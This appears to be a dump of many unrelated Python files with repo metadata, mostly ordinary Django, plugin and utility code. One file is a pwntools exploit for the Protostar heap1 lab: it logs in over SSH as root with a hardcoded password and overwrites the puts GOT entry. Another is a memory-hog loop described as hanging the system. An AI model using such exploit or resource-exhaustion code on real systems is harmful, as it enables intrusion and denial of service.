code
stringlengths
3
1.05M
repo_name
stringlengths
5
104
path
stringlengths
4
251
language
stringclasses
1 value
license
stringclasses
15 values
size
int64
3
1.05M
from lms.envs.test import * FOOTER_DISCLAIMER_TEXT = None FOOTER_EXTERNAL_COURSES_LINK = None HIDE_COURSE_INFO_CERTS_TEXT = False INSTALLED_APPS += ( 'openedx.stanford.djangoapps.auth_lagunita', ) MKTG_URL_LINK_MAP['BLOG'] = 'blog' MKTG_URL_LINK_MAP['DONATE'] = 'donate' TIME_ZONE = 'UTC'
Stanford-Online/edx-platform
openedx/stanford/lms/envs/test.py
Python
agpl-3.0
295
__author__ = 'Steven LI' from ..my_calculate import * from ..my_string import * num1 = Num_Base(5) num2 = Num_Change(5) num3 = Num_Change(10) num4 = Num_Change(5) num_async = Num_Asyc(100) string1 = Reverse("Hello World!") var1 = 3 var2 = 4 var3 = 5 var100 = 100
steven004/pytest_oot
example/test/testbed.py
Python
mit
267
# -*- coding: utf-8 -*- from resources.lib.util import cUtil from resources.lib.parser import cParser from resources.lib.handler.requestHandler import cRequestHandler from resources.lib.handler.ParameterHandler import ParameterHandler from resources.lib.gui.guiElement import cGuiElement from resources.lib.gui.gui impo...
kabooom/plugin.video.xstream
sites/movie4k_to.py
Python
gpl-3.0
26,737
import mock from mock import call import time from typing import Any, Dict, Union, SupportsInt, Text import gcm from django.test import TestCase from django.conf import settings from zerver.models import PushDeviceToken, UserProfile, Message from zerver.models import get_user_profile_by_email, receives_online_notifi...
dawran6/zulip
zerver/tests/test_push_notifications.py
Python
apache-2.0
17,956
''' Created on Nov 2, 2013 @author: EHWAAL ''' import re import StringIO import model import os.path from string import Template from model import PlaneableItem from model import config from docutils.core import publish_string, default_description import time, datetime from PyQt4 import QtGui TA...
archtool/archtool
src/export/req_document.py
Python
gpl-3.0
4,532
import os import sys # spirit_py_dir = os.path.dirname(os.path.realpath(__file__)) spirit_py_dir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), "..")) sys.path.insert(0, spirit_py_dir) from Spirit import state from Spirit import chain import unittest ########## cfgfile = "input/input.cfg" class TestC...
Disselkamp/spirit
core/python/test/chain.py
Python
mit
1,764
from pyramid.httpexceptions import HTTPFound from pyramid.view import view_config @view_config( route_name='leap.projects', renderer='projects.mako', ) def blankPage(request): return {} @view_config(route_name='leap.source') def github(request): return HTTPFound(location="https://github.com/LiquidCode")...
LiquidCode/Leap
leap/static_pages.py
Python
mit
585
from pwn import * #change the host IP to your IP sh = ssh(host='192.168.1.104', user='root', password='godmode', port=22) cmd = sh.set_working_directory('/opt/protostar/bin') e = ELF("./heap1") puts_add = p32(e.got["puts"]) winner = pack(0x8048494) print "puts: ", puts_add arg1 = "A"*20 arg1 += puts_...
spchal/Pwn-Write-ups
protostar/ex_heap1.py
Python
gpl-2.0
395
"""Original source: http://bkanuka.com/articles/native-latex-plots/""" import math import matplotlib as mpl mpl.use('pgf') def figsize(scale): # Get this from LaTeX using \the\textwidth fig_width_pt = 469.755 # Convert pt to inch inches_per_pt = 1.0 / 72.27 # Aesthetic ratio (you could change t...
MaxHalford/xam
xam/latex.py
Python
mit
1,988
# Copyright (C) 2013-2015 Samuel Damashek, Peter Foley, James Forcier, Srijay Kasturi, Reed Koser, Christopher Reffett, and Fox Wilson # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either ve...
N6UDP/cslbot
cslbot/commands/signal.py
Python
gpl-2.0
1,120
"""Copyright 2008 Orbitz WorldWide Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software...
evernote/graphite-web
webapp/graphite/account/urls.py
Python
apache-2.0
782
from myfecviz.tests import FlaskClientTestCase from myfecviz import get_db from myfecviz.services import fec class FECServiceTest(FlaskClientTestCase): def test_get_number_of_candidates(self): """Verify number of candidates query.""" self.assertEqual(5539, fec.get_number_of_candidates()) def...
sg95/FEC-Data-Visualization
myfecviz/tests/test_fec_services.py
Python
mit
1,189
""" This class can be used as an ObjectKey to uniquely identify an object within an application where the id consists of a single entity such a GUID or the value of a db row's primary key. """ import types import proof.pk.ObjectKey as ObjectKey class NumberKey(ObjectKey.ObjectKey): def __init__(self, value, c...
mattduan/proof
pk/NumberKey.py
Python
bsd-3-clause
1,383
"""ARs and Samples use HeaderTable to display object fields in their custom view and edit screens. """ from Products.CMFCore.utils import getToolByName from bika.lims.browser import BrowserView from bika.lims.interfaces import IHeaderTableFieldRenderer from Products.Five.browser.pagetemplatefile import ViewPageTemplat...
veroc/Bika-LIMS
bika/lims/browser/header_table.py
Python
agpl-3.0
6,112
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
Acehaidrey/incubator-airflow
airflow/providers/elasticsearch/hooks/elasticsearch.py
Python
apache-2.0
3,213
# This program is memory hog application, consumes lots of memory and hangs the system within a minute while(1): some_str = ' ' * 102400000 * 2
aakar77/DockSeatResourIsoCompr
Experiment-with-Hog-application/dockertest_memory/memory.py
Python
mit
146
import logging from django.utils.translation import ugettext_lazy as _ from django.conf import settings from django.core.cache import cache from django.core.exceptions import ObjectDoesNotExist, MultipleObjectsReturned from django.http import Http404 from readthedocs.projects.models import Project, Domain log = logg...
SteveViss/readthedocs.org
readthedocs/core/middleware.py
Python
mit
6,904
# # Copyright 2013 NTT Corp. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ap...
rh-s/heat
heat/engine/resources/openstack/neutron/network_gateway.py
Python
apache-2.0
9,452
# -*- coding: utf-8 -*- ############################################################################## # This file is part of inactive_session_timeout, an Odoo module. # # Copyright (c) 2015 ACSONE SA/NV (<http://acsone.eu>) # # inactive_session_timeout is free software: you can redistribute it # and/o...
MackZxh/OCA-Choice
server-tools/inactive_session_timeout/models/res_users.py
Python
lgpl-3.0
2,275
"""empty message Revision ID: 3c8462ba73e9 Revises: 3cb4c9b91bf8 Create Date: 2016-08-09 14:14:45.532766 """ # revision identifiers, used by Alembic. revision = '3c8462ba73e9' down_revision = '3cb4c9b91bf8' from alembic import op import sqlalchemy as sa def upgrade(): sql =""" ALTER TABLE public.campaig...
SnowBeaver/Vision
migrations/versions/3c8462ba73e9_.py
Python
gpl-2.0
1,271
# Copyright 2020 The StackStorm Authors. # Copyright 2019 Extreme Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
StackStorm/st2
st2api/st2api/controllers/v1/aliasexecution.py
Python
apache-2.0
11,554
#!/usr/bin/env python2 # import math gamma = 2.5 n_in = 256 n_out = 3200 print "// Generated by gamma_tab.py, gamma %.3f" % gamma print "//" print "static const uint16_t gamma_tab[%d] = {" % n_in for i in range(n_in): # apply gamma correction # ig = round( ( float(i) / (n_in-1) ) ** gamma * (n_out-1) )...
thomask77/nucular-keyboard
Tools/gamma_tab.py
Python
gpl-3.0
502
from __future__ import unicode_literals, print_function from copy import deepcopy import numpy as np from datadez.columns import MONO_LABEL_TYPE, MULTI_LABEL_TYPE from datadez.columns import detect_column_type from datadez.columns import get_mono_label_occurrence from datadez.columns import get_multi_label_occurrenc...
dezounet/datadez
datadez/filter.py
Python
mit
2,505
from gunfolds.tools.conversions import g2num, num2CG, graph2nx from gunfolds.tools.bfutils import undersample import networkx from numpy import argsort def simple_loops(g, u): """ iterator over the list of simple loops of graph g at the undersample rate u """ gx = graph2nx(num2CG(g2num(undersample(g, ...
undercoveridiot/gunfolds
gunfolds/tools/simpleloops.py
Python
gpl-3.0
526
# # MultiDim.py -- Multidimensional plugin for fits viewer # # Eric Jeschke (eric@naoj.org) # # Copyright (c) Eric R. Jeschke. All rights reserved. # This is open-source software licensed under a BSD license. # Please see the file LICENSE.txt for details. # import time import threading from ginga.qtw.QtHelp import Qt...
Rbeaty88/ginga
ginga/qtw/plugins/MultiDim.py
Python
bsd-3-clause
8,663
test = { 'name': 'Question 10', 'points': 1, 'suites': [ { 'cases': [ { 'code': r""" >>> import pandas as pd >>> d = pd.read_csv('q10.csv') >>> len(d) 100 >>> np.all(np.bincount(d['Label']) == [1, 52, 47]) True"...
DS-100/sp17-materials
sp17/hw/hw7/ok_tests/q10.py
Python
gpl-3.0
508
import operator from django.db import models from django.contrib.contenttypes.models import ContentType from django.utils.translation import ugettext_lazy as _ from ella_two_ports.cache.utils import CachedGenericForeignKey class LicenseManager(models.Manager): def _get_queryset_of_unapplicables(self, model): ...
ella/ella-newman
ella_newman/licenses/models.py
Python
bsd-3-clause
2,052
#!/usr/bin/python # # Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
richardfergie/googleads-python-lib
examples/dfp/v201502/base_rate_service/get_all_base_rates.py
Python
apache-2.0
1,870
import findspark # this needs to be the first import findspark.init() import networkx as nx from pyspark import SparkConf from pyspark import SparkContext from snpp.cores.lowrank import partition_graph conf = (SparkConf().setMaster("local[2]").setAppName("SparkTest")) sc = SparkContext(conf=conf) sc.setCheckpointDi...
xiaohan2012/snpp
profile_lowrank_partitioning.py
Python
mit
594
# This file is part of beets. # Copyright 2015, Jan-Erik Dahlin # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, ...
andremiller/beets
beetsplug/fromfilename.py
Python
mit
5,555
""" Core model handling routines. """ from __future__ import print_function __all__ = [ "list_models", "load_model", "load_model_info", "build_model", "precompile_dlls", "reparameterize", ] import os from os.path import basename, join as joinpath from glob import glob import re import copy import numpy a...
SasView/sasmodels
sasmodels/core.py
Python
bsd-3-clause
21,256
#!/usr/bin/python # -*- encoding: utf-8; py-indent-offset: 4 -*- # +------------------------------------------------------------------+ # | ____ _ _ __ __ _ __ | # | / ___| |__ ___ ___| | __ | \/ | |/ / | # | | | | '_ \ / _ \/ __| |/ /...
ypid-bot/check_mk
web/htdocs/lib.py
Python
gpl-2.0
33,179
#!/usr/bin/env python # -*- coding: utf-8 -*- # pylint: disable=no-self-use, pointless-statement, missing-docstring, invalid-name import logging # io.open supports encoding= in python 2.7 from io import open # pylint: disable=redefined-builtin import os import yaml import six import babelfish import pytest from re...
dantebarba/docker-media-server
plex/Sub-Zero.bundle/Contents/Libraries/Shared/guessit/test/test_yml.py
Python
gpl-3.0
10,569
# -*- coding: utf-8 -*- ''' Import the data (assessors, queries, documents) into DB ''' import os import re import sys import csv import json import base64 import argparse import traceback import MySQLdb as mdb import datetime from collections import defaultdict # global variables # file paths # query ASSESSOR_FILE ...
udinfolab/ir-eval
import/db-import.py
Python
gpl-2.0
12,489
# Copyright 2021 The IREE Authors # # Licensed under the Apache License v2.0 with LLVM Exceptions. # See https://llvm.org/LICENSE.txt for license information. # SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception import unittest from simple_lang import jit class ArithmeticTest(unittest.TestCase): def test_ad...
google/iree-samples
pydm/simple/arithmetic.py
Python
apache-2.0
1,082
# -*- coding: utf-8 -*- import datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Deleting field 'FattureFornitore.stato' db.delete_column(u'movimento_fatturefornitore', 'stato') def...
luk156/minimo
minimo/movimento/migrations/0002_auto__del_field_fatturefornitore_stato.py
Python
gpl-2.0
6,358
from definitions import whspchars from lookups import instr_mod f = open('helloworld.ws') for line in f: wscmd = '' for c in line: wscmd += c if c in whspchars else '' # for c in wscmd: for c in whspchars: line = line.replace(c, '') print(line, repr(wscmd), instr_mod(wscmd))
wittrup/crap
whitespace/decode.py
Python
mit
313
def up(config, database, semester, course): database.execute("DELETE FROM viewed_responses AS a USING viewed_responses AS b WHERE a.timestamp < b.timestamp AND a.thread_id = b.thread_id AND a.user_id = b.user_id") database.execute("ALTER TABLE viewed_responses DROP CONSTRAINT IF EXISTS viewed_responses_pkey") ...
RCOS-Grading-Server/HWserver
migration/migrator/migrations/course/20190402220151_viewed_responses_update.py
Python
bsd-3-clause
574
""" brainfuck.py - brainfuck-to-python-AST compiler and related utilities This module provides utilities for seamless usage of brainfuck programs in Python environments. The meat of the module consists of the `to_*` functions that convert code written in brainfuck to native Python datatypes, such as functions or modul...
koirikivi/brainfuck
brainfuck.py
Python
mit
8,560
#!/usr/bin/env python3.5 # encoding: utf-8 from models.event import * from models.lesson import * from models.learning import * from models.common import * from models.utils import Question
pdyba/aioquiz
aioquiz/models/__init__.py
Python
gpl-3.0
190
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from marionette.marionette_test import ( parameterized, with_parameters, MetaParameterized, MarionetteTe...
cstipkovic/spidermonkey-research
testing/marionette/harness/marionette/tests/unit/test_data_driven.py
Python
mpl-2.0
2,217
from unittest import TestCase import platform from ipkg.platforms import Platform, InvalidPlatform class TestPlatform(TestCase): def test_str(self): p = Platform('a', 'b', 'c') self.assertEqual(str(p), 'a-b-c') def test_eq(self): p = Platform('a', 'b', 'c') self.assertEqual(...
pmuller/ipkg
tests/test_platforms.py
Python
mit
1,371
""" WSGI config for MinecrunchWeb project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANG...
Jonpro03/Minecrunch_Web
src/MinecrunchWeb/wsgi.py
Python
mit
404
"""Sort module.""" def sort_queryset(queryset, request, context=None): """Return a sorted queryset.""" sort_by = request.GET.get("sort_by") if sort_by: if sort_by in [el.name for el in queryset.model._meta.fields]: queryset = queryset.order_by(sort_by) else: if sort...
staticdev/django-sorting-bootstrap
src/django_sorting_bootstrap/sort.py
Python
mit
1,057
# comments------------------STATIC_IMPORT_MARK def a(x): print x if True: a(10)
Pierre-Thibault/neo-insert-imports
test/source_dir/comments_blank_lines_code_marked.py
Python
mit
101
from django import forms from .models import Entry class EntryCreateForm(forms.ModelForm): class Meta: model = Entry fields = ('name', 'email', 'body')
jpic/pescator
guestbook/forms.py
Python
bsd-2-clause
175
try: from django.utils.encoding import force_unicode def python_2_unicode_compatible(klass): """ A decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method ...
11craft/django-cms
cms/utils/compat/dj.py
Python
bsd-3-clause
649
# -*- coding: utf-8 -*- """ solace.tests.querycount ~~~~~~~~~~~~~~~~~~~~~~~ Counts the queries needed for a certain page. :copyright: (c) 2010 by the Solace Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ import unittest from random import choice from solace.te...
mitsuhiko/solace
solace/tests/querycount.py
Python
bsd-3-clause
3,201
import socket import ast import json from orderbook import OrderBook host_ip, server_port = "localhost", 9995 class FinanceClient: """ TCP Client to connect to Finance server Fetch method is a generator to iterate stream """ def __init__(self, host_ip, server_port): self.host_ip = host_ip ...
albhu/finance
client.py
Python
mit
1,098
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models from django.utils.translation import ugettext_lazy as _ from shop.models.delivery import BaseDeliveryItem class DeliveryItem(BaseDeliveryItem): """Default materialized model for ShippedItem""" quantity = models.Integ...
divio/django-shop
shop/models/defaults/delivery_item.py
Python
bsd-3-clause
387
from PyQt4 import QtGui, QtCore class NodeType: """ Types of nodes in the hierarchy. """ region = 1 sensor = 2 class Node: """ Node that represents region/sensors and their params. """ #region Constructor def __init__(self, name, type): """ Initializes a new instance ...
neuroidss/nupic.studio
nupic_studio/htm/node.py
Python
gpl-2.0
1,445
import re m = re.findall('(?<=[QWRTYPSDFGHJKLZXCVBNMqwrtypsdfghjklzxcvbnm])([AEIOUaeiou]{2,})[QWRTYPSDFGHJKLZXCVBNMqwrtypsdfghjklzxcvbnm]', input()) if m: for s in m: print(s) else: print(-1)
nifannn/HackerRank
Practice/Python/Regex_and_Parsing/re_findall.py
Python
mit
208
from django.shortcuts import get_object_or_404 from annoying.decorators import ajax_request from parsr.models import Repo # @login_required @ajax_request def info(request, repository_id): repo = get_object_or_404(Repo, pk=repository_id) return repo.json() # @login_required @ajax_request def list(request)...
frontendphil/analyzr
parsr/api/repository.py
Python
mit
414
import os import random from flask import Module, url_for, render_template, request, session, redirect, g, current_app from decorators import login_required, with_lock settings = Module('sagenb.flask_version.settings') @settings.route('/settings', methods = ['GET','POST']) @login_required @with_lock def settings_page...
macieksk/sagenb
sagenb/flask_version/settings.py
Python
gpl-3.0
2,601
# -*- coding: utf-8 -*- from cms.exceptions import LanguageError from cms.utils import get_language_from_request from cms.utils.i18n import get_language_object from django.contrib.sites.models import Site class CMSToolbar(object): supported_apps = None def __init__(self, request, toolbar, is_current_app, app...
Venturi/oldcms
env/lib/python2.7/site-packages/cms/toolbar_base.py
Python
apache-2.0
1,363
sum = 1 curr = 3 for width in xrange(3,1002,2): inc = width - 1 sum = sum + curr #bottom right curr = curr + inc sum = sum + curr #bottom left curr = curr + inc sum = sum + curr #top left curr = curr + inc sum = sum + curr #top right curr = curr + inc + 2 print sum
kbrose/project_euler
p20-29/p28.py
Python
unlicense
304
from backdoor import * class Ssh_port(Backdoor): prompt = Fore.RED + "(ssh_port)" + Fore.BLUE + ">> " + Fore.RESET def __init__(self, core): cmd.Cmd.__init__(self) self.intro = GOOD + "Using ssh_port module..." self.core = core self.options = { #~Input extra options. You almost always...
krintoxi/NoobSec-Toolkit
NoobSecToolkit /scripts/sshbackdoors/backdoors/access/ssh_port.py
Python
gpl-2.0
1,238
#!/usr/bin/python import datetime try: import autotest.common as common except ImportError: import common from autotest.frontend import setup_django_environment from autotest.frontend.afe import frontend_test_utils from autotest.client.shared.test_utils import mock from autotest.client.shared.test_utils import...
ColinIanKing/autotest
scheduler/scheduler_models_unittest.py
Python
gpl-2.0
15,532
#! /usr/bin/env python # -*- coding: utf-8 -*- # vispy: testskip import sys import numpy as np from vispy import app, gloo from vispy.visuals.collections import PointCollection from vispy.visuals.transforms import PanZoomTransform canvas = app.Canvas(size=(800, 600), show=True, keys='interactive') gloo.set_viewport(0...
ghisvail/vispy
examples/collections/point_collection.py
Python
bsd-3-clause
927
# encoding=utf-8 # Thanks to http://www.djangosnippets.org/snippets/1051/ # # Authors: Marinho Brandao <marinho at gmail.com> # Guilherme M. Gondim (semente) <semente at taurinus.org> from __future__ import absolute_import, unicode_literals from django.contrib.admin.filters import ChoicesFieldListFilter from...
michaelkuty/feincms
feincms/admin/filters.py
Python
bsd-3-clause
3,558
#! /usr/bin/env python # -*- coding: utf-8 -*- import rospy #import actionlib import message_filters import time import math import tf from dynamic_reconfigure.client import Client as DynClient from dynamic_reconfigure.server import Server as DynServer from aaf_walking_group.cfg import LegibilityConfig from threading ...
nilsbore/aaf_deployment
aaf_walking_group/scripts/walking_gui_server.py
Python
mit
7,245
# -*- coding: utf-8 -*- # # Copyright © 2012 Red Hat, Inc. # # This software is licensed to you under the GNU General Public # License as published by the Free Software Foundation; either version # 2 of the License (GPLv2) or (at your option) any later version. # There is NO WARRANTY for this software, express or impli...
splice/python-certutils
src/certutils/certutils.py
Python
gpl-2.0
17,974
import demistomock as demisto # noqa # pylint: disable=unused-wildcard-import from CommonServerPython import * # noqa # pylint: disable=unused-wildcard-import from CommonServerUserPython import * # noqa # pylint: disable=unused-wildcard-import from typing import Dict, Any, List import traceback ''' STANDALONE FUNC...
VirusTotal/content
Packs/CommonScripts/Scripts/CopyNotesToIncident/CopyNotesToIncident.py
Python
mit
1,766
############################################################################## # Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-64...
mfherbst/spack
var/spack/repos/builtin/packages/masurca/package.py
Python
lgpl-2.1
1,931
from scrapy.contrib.spiders import CrawlSpider, Rule from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor from scrapy.selector import Selector from lyricwiki.items import LyricWikiItem class LyricWikiSpider(CrawlSpider): name = "digitalunderground" #CHANG...
elainekmao/hiphoptextanalysis
lyricwiki-scraper/lyricwiki/spiders/digitalunderground_spider.py
Python
gpl-2.0
1,168
# -*-coding:Utf-8 -* # Copyright (c) 2010 LE GOFF Vincent # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # lis...
stormi/tsunami
src/primaires/combat/types/arme.py
Python
bsd-3-clause
7,231
from ctypes import byref, windll, c_ulong from win_unicode_console.buffer import get_buffer import io import sys import time kernel32 = windll.kernel32 GetStdHandle = kernel32.GetStdHandle ReadConsoleW = kernel32.ReadConsoleW WriteConsoleW = kernel32.WriteConsoleW GetLastError = kernel32.GetLastError ERROR_SUCCE...
offbyone/tweetstream
student/win_unicode_console/streams.py
Python
bsd-3-clause
6,811
import numpy as np import pytest from mantra.mantra_model import (MultiClassMantraModel4Bag, MultiClassMultiInstanceMantraModel4Bag) from mantra.util.data.bag import Bag from wslearn.util.labeled_object import LabeledObject ############################################################...
durandtibo/mantra-python
mantra/tests/test_mantra_model.py
Python
mit
13,063
# -*- coding: utf-8 -*- # listing of all the license labels catalogue = { "gpl-2.0": "GPL-2.0", "mit": "MIT", "apache-2.0": "Apache-2.0", "agpl-3.0": "AGPL-3.0", "artistic-2.0": "Artistic-2.0", "bsd-2-clause": "BSD-2-clause", "bsd-3-clause": "BSD-3-clause", "cc0-1.0": "CC0-1.0", "ep...
pravj/lisense
lisense/data/index.py
Python
mit
528
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
guschmue/tensorflow
tensorflow/contrib/distributions/python/ops/poisson_lognormal.py
Python
apache-2.0
12,320
# -*- coding: utf-8 -*- import pyxb_114.binding.generate import pyxb_114.binding.datatypes as xs import pyxb_114.binding.basis import pyxb_114.utils.domutils import os.path xsd=u'''<?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:simpleType name="tEnum"> ...
msherry/PyXB-1.1.4
tests/trac/test-trac-0088.py
Python
apache-2.0
1,400
from openstackx.api import base class QuotaSet(base.Resource): def __repr__(self): return "<QuotaSet: %s>" % self.id def delete(self): self.manager.delete(self) def update(self, *args, **kwargs): self.manager.update(self.tenant_id, *args, **kwargs) class QuotaSetManager(base.Ma...
ntt-pf-lab/backup_openstackx
openstackx/admin/quotas.py
Python
bsd-3-clause
1,721
""" notv.api ======== RESTful API implementation. :copyright: Copyright (c) 2015 Andrey Martyanov. All rights reserved. :license: MIT, see LICENSE for more details. """ from functools import wraps from flask import current_app, jsonify, request from flask.ext.classy import FlaskView from .model...
martyanov/notv
notv/api.py
Python
mit
983
from datetime import datetime from datetime import timedelta from django.db import models from django.utils import timezone from django.contrib.auth.hashers import identify_hasher from django.core.exceptions import ObjectDoesNotExist from password_policies.conf import settings class PasswordHistoryManager(models.Ma...
mjschultz/django-password-policies
password_policies/managers.py
Python
bsd-3-clause
2,873
""" Interface to the UMFPACK library. -- Author: Robert Cimrman """ import re import warnings import numpy as np import scipy.sparse as sp try: # Silence import error. import _umfpack as _um except: _um = None assumeSortedIndices = False class UmfpackWarning(UserWarning): pass ## # 10.01.2006, c def...
teoliphant/scipy
scipy/sparse/linalg/dsolve/umfpack/umfpack.py
Python
bsd-3-clause
23,430
''' One off to get POS tags out ''' from env import * pos_doc = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../chatterbot/initial') + '/pos.py' p_q = POSTag.objects.filter() pos_dict = {} for p in p_q: pos_dict[p.pos_tag_abbr] = p.pos_tag_label with open(pos_doc, 'a') as p1: p1.write('pos_dict...
yro/buttsworth
training/pos_out.py
Python
gpl-3.0
342
#!/usr/bin/env python # -*- coding: utf-8 -*- # 28 February 2015 ########################################################################### # Copyright (c) 2015 iRobot Corporation # http://www.irobot.com/ # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided tha...
tforrest/twilio-plays-roomba-flask
roomba/Create2_TetheredDrive.py
Python
mit
6,960
# This file is part of ArcJail. # # ArcJail is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ArcJail is distributed in the hope that...
KirillMysnik/ArcJail
srcds/addons/source-python/plugins/arcjail/modules/arcjail/item_classes/disposable_prop.py
Python
gpl-3.0
2,533
#!/usr/bin/env python # -*- coding: utf-8 -*- """Update encrypted deploy password in Travis config file.""" from __future__ import print_function import base64 import json import os from getpass import getpass import yaml from cryptography.hazmat.primitives.serialization import load_pem_public_key from cryptography.h...
paulross/cpip
travis_pypi_setup.py
Python
gpl-2.0
4,072
# Copyright (c) 2014 Mirantis Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writ...
openstack/sahara
sahara/plugins/fake/edp_engine.py
Python
apache-2.0
1,841
# sql/elements.py # Copyright (C) 2005-2016 the SQLAlchemy authors and contributors # <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php """Core SQL expression elements, including :class:`.ClauseElement`, :class:`.ColumnE...
Microvellum/Fluid-Designer
win64-vc/2.78/python/lib/site-packages/sqlalchemy/sql/elements.py
Python
gpl-3.0
132,898
# Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
FNST-OpenStack/horizon
openstack_dashboard/dashboards/admin/images/tests.py
Python
apache-2.0
9,183
from pymodbus.datastore import ModbusServerContext from pymodbus.datastore import ModbusSlaveContext from pymodbus.datastore import ModbusSequentialDataBlock from pymodbus.datastore.store import BaseModbusDataBlock from pymodbus.device import ModbusDeviceIdentification #------------------------------------------------...
UniPiTechnology/evok
evok/modbus_unipi.py
Python
apache-2.0
12,976
## # Copyright (C) 2013-2014 Jessica Tallon & Matt Molyneaux # # This file is part of Inboxen. # # Inboxen is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published by # the Free Software Foundation, either version 3 of the License,...
Inboxen/Inboxen
inboxen/blog/views.py
Python
agpl-3.0
4,306
#!/usr/bin/python3 import logging from operator import itemgetter from timeit import default_timer as timer import rdflib from .abstract_instruction_set import AbstractInstructionSet from readers import rdf from writers import rule_set, pickler from samplers import by_definition as sampler from algorithms.semantic_rul...
wxwilcke/MINOS
directives/pakbonLD_B3.py
Python
gpl-3.0
7,661
import pytest from pocs.scheduler.field import Field def test_create_field_no_params(): with pytest.raises(TypeError): Field() def test_create_field_bad_position(): with pytest.raises(ValueError): Field("TestObservation", "Bad Position") def test_create_field_name(): field = Field('Te...
joshwalawender/POCS
pocs/tests/test_field.py
Python
mit
577
import copy import os.path import uuid from django.db import transaction from django.test.utils import override_settings from django.urls import reverse from six.moves import range from oioioi.base.tests import TestCase from oioioi.contests.models import Contest, Submission from oioioi.evalmgr.models import QueuedJob...
sio2project/oioioi
oioioi/evalmgr/tests/tests.py
Python
gpl-3.0
16,022
#!/usr/bin/env python # -*- coding: utf-8 -*- """ ========= Job Queue ========= :Authors: Moritz Emanuel Beber :Date: 2014-02-23 :Copyright: Copyright |c| 2014, Jacobs University Bremen gGmbH, all rights reserved. :File: setup.py .. |c| unicode:: U+A9 """ from setuptools import setup setup( ...
Midnighter/jobq
setup.py
Python
bsd-3-clause
638
""" Django settings for server project. For more information on this file, see https://docs.djangoproject.com/en/1.7/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.7/ref/settings/ """ import django.conf.global_settings as DEFAULT_SETTINGS # Build paths inside...
dylanseago/IdeaHub
ideahub/settings.py
Python
mit
2,898
"""Test the Mullvad config flow.""" from unittest.mock import patch from mullvad_api import MullvadAPIError from homeassistant import config_entries, setup from homeassistant.components.mullvad.const import DOMAIN from homeassistant.data_entry_flow import RESULT_TYPE_ABORT, RESULT_TYPE_FORM from tests.common import ...
w1ll1am23/home-assistant
tests/components/mullvad/test_config_flow.py
Python
apache-2.0
3,240
#added to make sure Drivers directory gets built class __init__(object): """description of class"""
trkel/sem
src/SemBrain/Drivers/__init__.py
Python
unlicense
106
#!/usr/bin/python import json import sys with open(sys.argv[1], 'r') as fh: core_backtrace = json.load(fh) threads = core_backtrace['stacktrace'] trace = threads[0]['frames'] # Check that it is not longer than our limit print len(trace) assert len(trace) <= 256 # Check that we have the bottom, i.e. main for (i...
mhabrnal/abrt
tests/runtests/ccpp-plugin/verify_core_backtrace_length.py
Python
gpl-2.0
482
import copy from spec import Spec, eq_, skip, ok_, raises from invoke.parser import Argument, Context from invoke.tasks import task from invoke.collection import Collection class Context_(Spec): "ParserContext" # meh def may_have_a_name(self): c = Context(name='taskname') eq_(c.name, 'taskna...
sophacles/invoke
tests/parser/context.py
Python
bsd-2-clause
11,893
handle_list = [ "@elagergren", "@streetoftheweek", ]
EricLagergren/street-of-the-week
handlelist.py
Python
mit
65
